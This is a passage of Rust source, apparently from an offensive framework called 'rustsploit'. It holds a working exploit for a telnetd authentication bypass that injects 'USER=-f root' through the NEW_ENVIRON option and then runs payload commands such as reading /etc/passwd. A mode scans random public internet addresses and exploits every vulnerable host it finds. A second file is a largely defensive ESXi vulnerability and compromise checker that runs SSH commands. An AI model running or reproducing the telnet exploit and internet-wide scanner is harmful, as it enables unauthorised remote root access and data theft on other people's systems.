const OPT_TSPEED: u8 = 32;
|
||||
const OPT_NEW_ENVIRON: u8 = 39;
|
||||
const OPT_ECHO: u8 = 1;
|
||||
const OPT_SGA: u8 = 3;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
// Robust Prompt Detection (from telnet_bruteforce.rs)
|
||||
const SHELL_PROMPTS: &[&str] = &[
|
||||
// Basic shell prompts
|
||||
"$", "#", ">", "~", "%", " # ", " ~# ", " /# ", " ~ # ", " / # ",
|
||||
|
||||
// Common login success / welcome messages (English + multilingual)
|
||||
"last login", "welcome", "welcome to", "logged in",
|
||||
"login successful", "authentication successful", "successfully authenticated",
|
||||
"motd", "message of the day", "have a lot of fun",
|
||||
"you have mail", "you have new mail",
|
||||
"press any key", "continue", "enter command", "available commands", "type help",
|
||||
|
||||
// User/host prompts
|
||||
"user@", "root@", "admin@", "ubuntu", "debian", "centos", "red hat", "fedora",
|
||||
"freebsd", "openbsd", "[root@", "[admin@", "bash-", "sh-",
|
||||
"root:~#", "root:/#", "root@(none):/#", "root@(none):~#",
|
||||
|
||||
// Network device prompts
|
||||
"router>", "router#", "switch>", "switch#",
|
||||
"cisco", "ios>", "ios#",
|
||||
|
||||
// Multilingual welcomes (existing + expanded)
|
||||
"bienvenido", "conectado", "bienvenue", "connecté", "bem-vindo", "willkommen", "angemeldet",
|
||||
"benvenuto", "connesso", "добро пожаловать", "подключен",
|
||||
"欢迎", "已连接", "ようこそ", "接続されました",
|
||||
|
||||
// === Chinese IoT / IP camera / router specific (niche, exotic, from real device dumps) ===
|
||||
// Extremely common in cheap Chinese IP cameras (HiSilicon, Xiongmai, GrainMedia, GoAhead-based, etc.)
|
||||
"~ #", "/ #", "~#", "/#",
|
||||
"built-in shell (ash)",
|
||||
"enter 'help' for a list of built-in commands.",
|
||||
"/bin/sh: can't access tty; job control turned off",
|
||||
"busybox v", // partial, appears in many versions
|
||||
"busybox built-in shell",
|
||||
|
||||
// Specific variants seen in Chinese camera dumps
|
||||
"welcome to faraday",
|
||||
"welcome to faraday busybox",
|
||||
"faraday busybox",
|
||||
"[root@gm]#", "root@gm", // GrainMedia OEM devices
|
||||
"[root@dvrdvs /]#", // common DVR/NVR hostname variant
|
||||
"dvrdvs#",
|
||||
|
||||
// HiSilicon / Xiongmai / generic embedded strings (chipset or SDK hints that appear in prompts/hostnames)
|
||||
"hi3518", "hi3516", "hi3536", "hisilicon",
|
||||
"xm#", "xiongmai#", "xmeye#", // Xiongmai / XMEye cloud variants
|
||||
"gm8136", "gm8135", "grainmedia",
|
||||
|
||||
// Chinese vendor router / ONT / gateway prompts & banners
|
||||
"<huawei>", "[huawei]", "huawei>", "huawei#",
|
||||
"welcome visiting huawei", "huawei home gateway", "huawei terminal",
|
||||
"zte>", "zxa", "zxan#", "zxa10#",
|
||||
"fiberhome>", "fiberhome#",
|
||||
"tp-link>", "tp-link router",
|
||||
"tenda>", "tenda technology",
|
||||
"xiaoqiang#", "miwifi#", "xiaomi router",
|
||||
|
||||
// Expanded Chinese welcome / success messages (common in domestic-market firmware)
|
||||
"欢迎使用", "欢迎登录", "欢迎访问", "欢迎光临", "欢迎来到",
|
||||
"欢迎使用本系统", "欢迎使用该终端", "欢迎使用该设备",
|
||||
"欢迎您", "欢迎您登录", "您已成功登录",
|
||||
"登录成功", "成功登录", "认证成功", "成功认证", "认证通过",
|
||||
"已登录", "连接成功", "已连接", "会话已建立",
|
||||
"系统就绪", "终端就绪", "终端准备就绪",
|
||||
|
||||
// Niche small/exotic Chinese brands & OEM codes seen in cheap cameras/routers
|
||||
"v380#", "v380 pro#", "yyp2p#",
|
||||
"jovision#", "tiandy#", "uniview#",
|
||||
"escam#", "besder#", "wanscam#", "vstarcam#",
|
||||
"annke#", "sv3c#", "foscam#",
|
||||
"comfast#", "wavlink#", "kuwfi#",
|
||||
|
||||
// Miscellaneous exotic embedded strings from Chinese IoT
|
||||
"ipcamera login", // pre-login, but often seen in dumps
|
||||
"ont#", "gpon#", "home gateway",
|
||||
"copyright huawei technologies", "copyright (c) huawei",
|
||||
"vrp", "versatile routing platform"
|
||||
];
|
||||
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||
enum ExploitMode {
|
||||
CheckOnly,
|
||||
ExecuteCommand,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct ExploitConfig {
|
||||
mode: ExploitMode,
|
||||
user: String,
|
||||
payload: String,
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ GNU inetutils-telnetd Remote Authentication Bypass ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ CVE-2026-24061 - Auth Bypass via NEW_ENVIRON ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ PoC by IRIS C2 Team - Ported to Rust for rustsploit ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
}
|
||||
|
||||
struct TelnetExploit {
|
||||
host: String,
|
||||
port: u16,
|
||||
user: String,
|
||||
payload: Option<String>,
|
||||
exploit_sent: bool,
|
||||
payload_sent: bool,
|
||||
}
|
||||
|
||||
impl TelnetExploit {
|
||||
fn new(host: &str, port: u16, user: &str, payload: Option<String>) -> Self {
|
||||
Self {
|
||||
host: host.to_string(),
|
||||
port,
|
||||
user: user.to_string(),
|
||||
payload,
|
||||
exploit_sent: false,
|
||||
payload_sent: false,
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_negotiation<W: AsyncWriteExt + Unpin>(&mut self, writer: &mut W, data: &[u8]) -> Result<Vec<u8>> {
|
||||
let mut output = Vec::new();
|
||||
let mut i = 0;
|
||||
|
||||
while i < data.len() {
|
||||
if data[i] != IAC {
|
||||
output.push(data[i]);
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
i += 1;
|
||||
if i >= data.len() { break; }
|
||||
|
||||
let cmd = data[i];
|
||||
i += 1;
|
||||
|
||||
if cmd == IAC {
|
||||
output.push(255);
|
||||
continue;
|
||||
}
|
||||
|
||||
if cmd == SB {
|
||||
let sb_opt = if i < data.len() { data[i] } else { 0 };
|
||||
let mut sb_data = Vec::new();
|
||||
i += 1;
|
||||
while i < data.len() - 1 {
|
||||
if data[i] == IAC && data[i+1] == SE {
|
||||
i += 2;
|
||||
break;
|
||||
}
|
||||
sb_data.push(data[i]);
|
||||
i += 1;
|
||||
}
|
||||
|
||||
if sb_opt == OPT_TTYPE && !sb_data.is_empty() && sb_data[0] == 1 {
|
||||
let mut payload = vec![IAC, SB, OPT_TTYPE, 0];
|
||||
payload.extend_from_slice(b"xterm");
|
||||
payload.extend_from_slice(&[IAC, SE]);
|
||||
writer.write_all(&payload).await?;
|
||||
} else if sb_opt == OPT_TSPEED && !sb_data.is_empty() && sb_data[0] == 1 {
|
||||
let mut payload = vec![IAC, SB, OPT_TSPEED, 0];
|
||||
payload.extend_from_slice(b"38400,38400");
|
||||
payload.extend_from_slice(&[IAC, SE]);
|
||||
writer.write_all(&payload).await?;
|
||||
} else if sb_opt == OPT_NEW_ENVIRON && !sb_data.is_empty() && sb_data[0] == 1 {
|
||||
if !self.exploit_sent {
|
||||
self.send_exploit(writer).await?;
|
||||
}
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if cmd == DO || cmd == DONT || cmd == WILL || cmd == WONT {
|
||||
if i >= data.len() { break; }
|
||||
let opt = data[i];
|
||||
i += 1;
|
||||
|
||||
match cmd {
|
||||
DO => {
|
||||
if opt == OPT_TTYPE || opt == OPT_TSPEED || opt == OPT_NEW_ENVIRON {
|
||||
writer.write_all(&[IAC, WILL, opt]).await?;
|
||||
} else {
|
||||
writer.write_all(&[IAC, WONT, opt]).await?;
|
||||
}
|
||||
}
|
||||
WILL => {
|
||||
if opt == OPT_ECHO || opt == OPT_SGA {
|
||||
writer.write_all(&[IAC, DO, opt]).await?;
|
||||
} else {
|
||||
writer.write_all(&[IAC, DONT, opt]).await?;
|
||||
}
|
||||
}
|
||||
WONT => {
|
||||
writer.write_all(&[IAC, DONT, opt]).await?;
|
||||
}
|
||||
DONT => {
|
||||
writer.write_all(&[IAC, WONT, opt]).await?;
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
async fn send_exploit<W: AsyncWriteExt + Unpin>(&mut self, writer: &mut W) -> Result<()> {
|
||||
let mut payload = vec![IAC, SB, OPT_NEW_ENVIRON, 0, 0];
|
||||
payload.extend_from_slice(b"USER");
|
||||
payload.push(1);
|
||||
payload.extend_from_slice(format!("-f {}", self.user).as_bytes());
|
||||
payload.extend_from_slice(&[IAC, SE]);
|
||||
writer.write_all(&payload).await?;
|
||||
self.exploit_sent = true;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn is_shell_prompt(&self, text: &str) -> bool {
|
||||
let lower = text.to_lowercase();
|
||||
// Check standard endings
|
||||
let trimmed = text.trim();
|
||||
if trimmed.ends_with('#') || trimmed.ends_with('$') || trimmed.ends_with('>') || trimmed.ends_with('%') {
|
||||
return true;
|
||||
}
|
||||
// Check comprehensive indicators
|
||||
for indicator in SHELL_PROMPTS {
|
||||
if lower.contains(indicator) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
pub async fn run_exploit(&mut self, timeout_secs: u64, interactive: bool) -> Result<String> {
|
||||
let addr = format!("{}:{}", self.host, self.port);
|
||||
let stream = tokio::time::timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await??;
|
||||
|
||||
let (reader, mut writer) = stream.into_split();
|
||||
let mut reader = TokioBufReader::new(reader);
|
||||
let mut stdin = TokioBufReader::new(tokio::io::stdin());
|
||||
let mut stdout = tokio::io::stdout();
|
||||
|
||||
let mut buf = [0u8; 4096];
|
||||
let mut line = String::new();
|
||||
let mut command_output = String::new();
|
||||
|
||||
if interactive {
|
||||
println!("{}", format!("[+] Connected to {}", addr).green());
|
||||
println!("{}", "[*] Entering interactive mode. Commands will be sent to the remote shell.".cyan());
|
||||
println!("{}", "[*] The exploit will be sent automatically during telnet negotiation.".cyan());
|
||||
}
|
||||
|
||||
loop {
|
||||
tokio::select! {
|
||||
res = reader.read(&mut buf) => {
|
||||
let n = res?;
|
||||
if n == 0 { break; }
|
||||
let output = self.handle_negotiation(&mut writer, &buf[..n]).await?;
|
||||
if !output.is_empty() {
|
||||
let text = String::from_utf8_lossy(&output);
|
||||
if interactive {
|
||||
stdout.write_all(&output).await?;
|
||||
stdout.flush().await?;
|
||||
} else {
|
||||
command_output.push_str(&text);
|
||||
}
|
||||
|
||||
// If we have a payload and just connected/exploited, send it once we see a prompt
|
||||
if let Some(cmd) = &self.payload {
|
||||
if self.exploit_sent && !self.payload_sent {
|
||||
if self.is_shell_prompt(&text) {
|
||||
writer.write_all(format!("{}\n", cmd).as_bytes()).await?;
|
||||
self.payload_sent = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
res = stdin.read_line(&mut line), if interactive => {
|
||||
let n = res?;
|
||||
if n == 0 { break; }
|
||||
writer.write_all(line.as_bytes()).await?;
|
||||
line.clear();
|
||||
}
|
||||
_ = tokio::time::sleep(Duration::from_secs(5)), if !interactive && self.payload_sent => {
|
||||
// Timeout after sending payload to capture output
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(command_output)
|
||||
}
|
||||
}
|
||||
|
||||
async fn quick_check(ip: &str, port: u16, _user: &str) -> bool {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match tokio::time::timeout(Duration::from_secs(5), TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut stream)) => {
|
||||
let mut buf = [0u8; 1024];
|
||||
let _ = stream.write_all(&[IAC, WILL, OPT_NEW_ENVIRON]).await;
|
||||
match tokio::time::timeout(Duration::from_secs(3), stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
for i in 0..n-2 {
|
||||
if buf[i] == IAC && (buf[i+1] == DO || buf[i+1] == SB) && buf[i+2] == OPT_NEW_ENVIRON {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
false
|
||||
}
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_exploit_config() -> Result<ExploitConfig> {
|
||||
println!("{}", "\n[Operation Mode]".bold().cyan());
|
||||
println!(" 1. Just Vulnerability Check (Safe)");
|
||||
println!(" 2. Execute Command Payload (Unsafe)");
|
||||
let choice = prompt_default("Select mode [1-2]", "1").await?;
|
||||
|
||||
let mode = if choice == "2" { ExploitMode::ExecuteCommand } else { ExploitMode::CheckOnly };
|
||||
|
||||
let mut payload = String::new();
|
||||
if mode == ExploitMode::ExecuteCommand {
|
||||
println!("{}", "\n[Payload Menu]".bold().cyan());
|
||||
println!(" 1. Basic Info (id; whoami; uname -a)");
|
||||
println!(" 2. Read /etc/passwd");
|
||||
println!(" 3. List Root Directory (ls -la /)");
|
||||
println!(" 4. Custom Command");
|
||||
let p_choice = prompt_default("Select payload [1-4]", "1").await?;
|
||||
|
||||
payload = match p_choice.as_str() {
|
||||
"1" => "id; whoami; uname -a".to_string(),
|
||||
"2" => "cat /etc/passwd".to_string(),
|
||||
"3" => "ls -la /".to_string(),
|
||||
"4" => {
|
||||
print!("{}", "Enter custom command: ".green());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
input.trim().to_string()
|
||||
}
|
||||
_ => "id; whoami; uname -a".to_string(),
|
||||
};
|
||||
}
|
||||
|
||||
let user = prompt_default("Username to bypass as", "root").await?;
|
||||
|
||||
Ok(ExploitConfig { mode, user, payload })
|
||||
}
|
||||
|
||||
async fn run_mass_scan(config: ExploitConfig) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", format!("[*] Mode: {:?}", config.mode).cyan());
|
||||
if config.mode == ExploitMode::ExecuteCommand {
|
||||
println!("{}", format!("[*] Payload: {}", config.payload).cyan());
|
||||
}
|
||||
|
||||
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true).await?;
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let outfile = prompt_default("[?] Output File", "telnet_exploit_hits.txt").await?;
|
||||
let outfile = Arc::new(outfile);
|
||||
|
||||
let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string()).await?
|
||||
.parse().unwrap_or(MASS_SCAN_CONCURRENCY);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
|
||||
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&*outfile_clone)
|
||||
.await
|
||||
.expect("Failed to open output file");
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
println!("{}", "[*] Starting mass scan... Press Ctrl+C to stop.".cyan());
|
||||
|
||||
let config = Arc::new(config);
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
let cfg = config.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc).to_string();
|
||||
|
||||
// Scan common ports in parallel for this IP
|
||||
let mut port_tasks = Vec::new();
|
||||
for &port in COMMON_TELNET_PORTS {
|
||||
let ip_clone = ip.clone();
|
||||
let cfg_clone = cfg.clone();
|
||||
let tx_clone = tx.clone();
|
||||
let fnd_clone = fnd.clone();
|
||||
|
||||
port_tasks.push(tokio::spawn(async move {
|
||||
if quick_check(&ip_clone, port, &cfg_clone.user).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}:{}", ip_clone, port).green().bold());
|
||||
fnd_clone.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
let mut log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip_clone, port);
|
||||
|
||||
if cfg_clone.mode == ExploitMode::ExecuteCommand {
|
||||
let mut exploit = TelnetExploit::new(&ip_clone, port, &cfg_clone.user, Some(cfg_clone.payload.clone()));
|
||||
if let Ok(output) = exploit.run_exploit(5, false).await {
|
||||
log_entry.push_str(&format!("Payload: {}\nOutput:\n{}\n", cfg_clone.payload, output));
|
||||
}
|
||||
}
|
||||
|
||||
let _ = tx_clone.send(log_entry);
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait for all port checks for this IP to finish
|
||||
for task in port_tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" || target.is_empty() {
|
||||
let config = prompt_exploit_config().await?;
|
||||
run_mass_scan(config).await
|
||||
} else {
|
||||
display_banner();
|
||||
let normalized = normalize_target(target).unwrap_or(target.to_string());
|
||||
println!("{}", format!("[*] Target: {}", normalized).yellow());
|
||||
|
||||
let config = prompt_exploit_config().await?;
|
||||
|
||||
if config.mode == ExploitMode::CheckOnly {
|
||||
println!("{}", "[*] Checking multiple ports in parallel...".cyan());
|
||||
let mut found_any = false;
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for &port in COMMON_TELNET_PORTS {
|
||||
let target_clone = target.to_string();
|
||||
let user_clone = config.user.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if quick_check(&target_clone, port, &user_clone).await {
|
||||
println!("{}", format!("[+] Port {} is VULNERABLE", port).green().bold());
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
if let Ok(res) = task.await {
|
||||
if res { found_any = true; }
|
||||
}
|
||||
}
|
||||
|
||||
if !found_any {
|
||||
println!("{}", "[-] No common telnet ports were found VULNERABLE".red());
|
||||
}
|
||||
} else {
|
||||
let port = prompt_port("Explicit Telnet Port", 23).await?;
|
||||
let mut exploit = TelnetExploit::new(target, port, &config.user, Some(config.payload.clone()));
|
||||
exploit.run_exploit(DEFAULT_TIMEOUT_SECS, true).await?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,285 @@
|
||||
// ESXi VM Escape Vulnerability Checker
|
||||
// CVE-2025-22224 / CVE-2025-22225 / CVE-2025-22226
|
||||
//
|
||||
// Checks ESXi hosts for vulnerability to the VM escape chain and
|
||||
// detects indicators of compromise (IOCs) from known exploitation.
|
||||
//
|
||||
// Affected versions:
|
||||
// - ESXi 8.0 < 8.0 U2b (Build 23305546)
|
||||
// - ESXi 7.0 < 7.0 U3q (Build 23307199)
|
||||
//
|
||||
// For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
// Patched build numbers
|
||||
const ESXI_80_PATCHED_BUILD: u64 = 23305546; // 8.0 U2b
|
||||
const ESXI_70_PATCHED_BUILD: u64 = 23307199; // 7.0 U3q
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ESXi VM Escape Vulnerability Checker ║".cyan());
|
||||
println!("{}", "║ CVE-2025-22224 / CVE-2025-22225 / CVE-2025-22226 ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Checks for vulnerability and IOCs ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Create SSH session to ESXi host
|
||||
fn create_esxi_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
).map_err(|e| anyhow!("Connection failed: {}", e))?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
sess.userauth_password(username, password)?;
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command on ESXi
|
||||
fn esxi_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
sess.set_blocking(true);
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// Parse ESXi version string to extract version and build
|
||||
fn parse_esxi_version(version_str: &str) -> Option<(String, u64)> {
|
||||
// Format: "VMware ESXi 8.0.0 build-24022510"
|
||||
let parts: Vec<&str> = version_str.split_whitespace().collect();
|
||||
|
||||
let mut version = String::new();
|
||||
let mut build: u64 = 0;
|
||||
|
||||
for (i, part) in parts.iter().enumerate() {
|
||||
if *part == "ESXi" && i + 1 < parts.len() {
|
||||
version = parts[i + 1].to_string();
|
||||
}
|
||||
if part.starts_with("build-") {
|
||||
if let Ok(b) = part.trim_start_matches("build-").parse::<u64>() {
|
||||
build = b;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !version.is_empty() && build > 0 {
|
||||
Some((version, build))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if ESXi version is vulnerable
|
||||
fn is_vulnerable(version: &str, build: u64) -> bool {
|
||||
if version.starts_with("8.") {
|
||||
build < ESXI_80_PATCHED_BUILD
|
||||
} else if version.starts_with("7.") {
|
||||
build < ESXI_70_PATCHED_BUILD
|
||||
} else if version.starts_with("6.") || version.starts_with("5.") {
|
||||
// ESXi 6.x and 5.x are EOL and vulnerable
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/// Check for IOCs of exploitation
|
||||
pub async fn check_iocs(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Checking for Indicators of Compromise (IOCs)...".cyan());
|
||||
|
||||
let (_, sess) = create_esxi_ssh_session(host, port, username, password)?;
|
||||
|
||||
let mut found_ioc = false;
|
||||
|
||||
// IOC 1: Check for backdoor file /var/run/a
|
||||
println!("{}", "[*] Checking for backdoor file /var/run/a...".dimmed());
|
||||
match esxi_exec(&sess, "ls -la /var/run/a 2>/dev/null") {
|
||||
Ok((0, stdout, _)) if !stdout.is_empty() => {
|
||||
println!("{}", "[!] IOC FOUND: /var/run/a exists!".red().bold());
|
||||
println!(" {}", stdout.trim());
|
||||
found_ioc = true;
|
||||
}
|
||||
_ => println!("{}", " [OK] /var/run/a not found".green()),
|
||||
}
|
||||
|
||||
// IOC 2: Check inetd.conf for suspicious entries
|
||||
println!("{}", "[*] Checking inetd.conf for malicious entries...".dimmed());
|
||||
match esxi_exec(&sess, "grep -E 'ftp.*stream.*tcp.*root.*/var/run' /var/run/inetd.conf 2>/dev/null") {
|
||||
Ok((0, stdout, _)) if !stdout.is_empty() => {
|
||||
println!("{}", "[!] IOC FOUND: Suspicious inetd.conf entry!".red().bold());
|
||||
println!(" {}", stdout.trim());
|
||||
found_ioc = true;
|
||||
}
|
||||
_ => println!("{}", " [OK] No suspicious inetd entries".green()),
|
||||
}
|
||||
|
||||
// IOC 3: Check for VSOCK listeners on port 10000
|
||||
println!("{}", "[*] Checking for VSOCK backdoor listeners...".dimmed());
|
||||
match esxi_exec(&sess, "lsof -a 2>/dev/null | grep -i vsock") {
|
||||
Ok((0, stdout, _)) if !stdout.is_empty() => {
|
||||
println!("{}", "[!] VSOCK processes found (review manually):".yellow());
|
||||
for line in stdout.lines().take(5) {
|
||||
println!(" {}", line);
|
||||
}
|
||||
}
|
||||
_ => println!("{}", " [OK] No obvious VSOCK backdoors".green()),
|
||||
}
|
||||
|
||||
// IOC 4: Check for suspicious processes
|
||||
println!("{}", "[*] Checking for suspicious processes in /var/run...".dimmed());
|
||||
match esxi_exec(&sess, "ps -c | grep '/var/run' 2>/dev/null") {
|
||||
Ok((0, stdout, _)) if !stdout.is_empty() => {
|
||||
println!("{}", "[!] Suspicious process running from /var/run:".red().bold());
|
||||
println!(" {}", stdout.trim());
|
||||
found_ioc = true;
|
||||
}
|
||||
_ => println!("{}", " [OK] No suspicious /var/run processes".green()),
|
||||
}
|
||||
|
||||
Ok(found_ioc)
|
||||
}
|
||||
|
||||
/// Check ESXi version and vulnerability status
|
||||
pub async fn check_vulnerability(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Checking ESXi version...".cyan());
|
||||
|
||||
let (_, sess) = create_esxi_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Connected to {}", host).green());
|
||||
|
||||
// Get ESXi version
|
||||
let version_cmd = "vmware -v";
|
||||
match esxi_exec(&sess, version_cmd) {
|
||||
Ok((0, stdout, _)) => {
|
||||
let version_str = stdout.trim();
|
||||
println!("{}", format!("[*] Version: {}", version_str).cyan());
|
||||
|
||||
if let Some((version, build)) = parse_esxi_version(version_str) {
|
||||
println!("{}", format!("[*] Parsed: version={}, build={}", version, build).dimmed());
|
||||
|
||||
if is_vulnerable(&version, build) {
|
||||
println!();
|
||||
println!("{}", "╔════════════════════════════════════════════════════════════╗".red());
|
||||
println!("{}", "║ [!] VULNERABLE to VM Escape (CVE-2025-22224/22225/22226) ║".red().bold());
|
||||
println!("{}", "╚════════════════════════════════════════════════════════════╝".red());
|
||||
println!();
|
||||
println!("{}", "Affected CVEs:".yellow());
|
||||
println!(" • CVE-2025-22226 (CVSS 7.1): HGFS OOB Read - Info Leak");
|
||||
println!(" • CVE-2025-22224 (CVSS 9.3): VMCI TOCTOU - OOB Write");
|
||||
println!(" • CVE-2025-22225 (CVSS 8.2): VMX Sandbox Escape");
|
||||
println!();
|
||||
println!("{}", "Recommendation: Patch immediately to ESXi 8.0 U2b or 7.0 U3q".yellow());
|
||||
return Ok(true);
|
||||
} else {
|
||||
println!();
|
||||
println!("{}", "[+] NOT VULNERABLE - Patched version detected".green().bold());
|
||||
return Ok(false);
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[-] Could not parse version string".yellow());
|
||||
}
|
||||
}
|
||||
Ok((code, _, stderr)) => {
|
||||
println!("{}", format!("[-] Command failed with exit code {}: {}", code, stderr.trim()).red());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to get version: {}", e).red());
|
||||
}
|
||||
}
|
